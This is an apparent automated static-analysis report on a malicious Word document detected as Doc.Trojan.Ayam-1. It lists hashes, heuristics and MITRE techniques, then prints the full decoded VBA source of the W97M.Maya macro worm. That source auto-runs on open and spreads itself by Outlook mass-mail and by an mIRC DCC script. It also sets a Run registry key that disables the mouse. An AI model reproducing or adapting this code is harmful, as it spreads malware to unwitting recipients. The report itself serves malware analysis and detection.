Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 919d9465e37d357c…

MALICIOUS

Office (OLE)

38.5 KB Created: 2018-12-10 19:06:00 Authoring application: Microsoft Word 9.0 First seen: 2019-05-31
MD5: bd82f14559a40fce85da831a64d6a109 SHA-1: 63b5e5407775c6140f010a4c8927dc0206b0cdf1 SHA-256: 919d9465e37d357ca9a9ec6c2f8ea8c33c4460ccdb80a2c846302c5980709133
380 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains legacy WordBasic auto-execution markers and critical VBA heuristics indicating the use of CreateObject and potential LOLBin references. The AutoOpen macro attempts to save the document to C:\Windows\Maya.doc, create directories and files, and copy a script.ini file to multiple locations, suggesting an attempt to establish persistence or facilitate further execution. It also attempts to interact with Outlook.Application, indicating a potential for spamming or credential harvesting.

Heuristics 8

  • ClamAV: Doc.Trojan.Ayam-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ayam-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2812 bytes
SHA-256: 24591eca4a916ecf0867664e3d9761b6dfc7daa21c2a0dae0636d81a9424f902
Detection
ClamAV: Doc.Trojan.Ayam-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next

With Dialogs(wdDialogFileSummaryInfo)
.Author = "PetiK"
.Title = "WM97.Maya"
.Comments = "To my best GirlFriend"
.Keywords = "Maya, Bzzbzz, to grow"
.Execute
End With

If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\", "W97M.Maya") <> "Par PetiK" Then

ActiveDocument.SaveAs FileName:="C:\Windows\Maya.doc"
ActiveDocument.Saved = True

FileSystem.MkDir "C:\Maya"
Open "C:\Maya\Hello.txt" For Output As #1
Print #1, "Le 29 mai 2001 á Munster"
Print #1, "This is my first W97M.Outlook.Worm"
Print #1, "Its name is W97M.Maya"
Close #1
Open "C:\Maya\script.ini" For Output As #1
Print #1, "n0=on 1:JOIN:#:("
Print #1, "n1= /if ( $nick == $me ) ( halt )"
Print #1, "n2= /.dcc send $nick C:\Windows\Maya.doc"
Print #1, "n3=)"
Close #1
FileSystem.FileCopy "C:\Maya\script.ini", "C:\mirc\script.ini"
FileSystem.FileCopy "C:\Maya\script.ini", "C:\mirc32\script.ini"
FileSystem.FileCopy "C:\Maya\script.ini", "C:\progra~1\mirc\script.ini"
FileSystem.FileCopy "C:\Maya\script.ini", "C:\progra~1\mirc32\script.ini"
FileSystem.Kill "C:\Maya\script.ini"

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\", "W97M.Maya") = "Par PetiK"
End If

Dim maya, bzzbzz, petik
Set maya = CreateObject("Outlook.Application")
Set bzzbzz = maya.GetNameSpace("MAPI")
If maya = "Outlook" Then
    bzzbzz.Logon "profile", "password"
    For mayacompte = 1 To bzzbzz.AddressLists.Count
    Set AB = bzzbzz.AddressLists(mayacompte)
    x = 1
    Set petik = maya.CreateItem(0)
    For compte = 1 To AB.Address.Entries.Count
        verif = AB.AddressEntries(x)
        petik.Recipients.Add verif
        x = x + 1
        If x > 500 Then compte = AB.AddressEntries.Count
    Next compte
    petik.Subject = "Hi man, it's " & Application.UserName
    petik.Body = "This is the new net Story" + vbCrLf + "It's great"
    petik.Attachments.Add ActiveDocument.FullName
    petik.DeleteAfterSumbit = True
    petik.Send
    verif = ""
    Next mayacompte
    bzzbzz.LogOff
End If


End Sub

Sub AutoClose()
If Day(Now) = 5 Then
MsgBox "Coded by PetiK (c)2001", vbInformation, "WM97.Maya"
End If
End Sub


Sub ViewVBCode()
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "MayAttack") = "rundll32 mouse,disable"
MsgBox "Curiosity is bad" + vbCr + vbCr + "With her small size" + vbCr + "Maya is alwayas there", vbCritical, "WM97.Maya"
ShowVisualBasicEditor = True
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.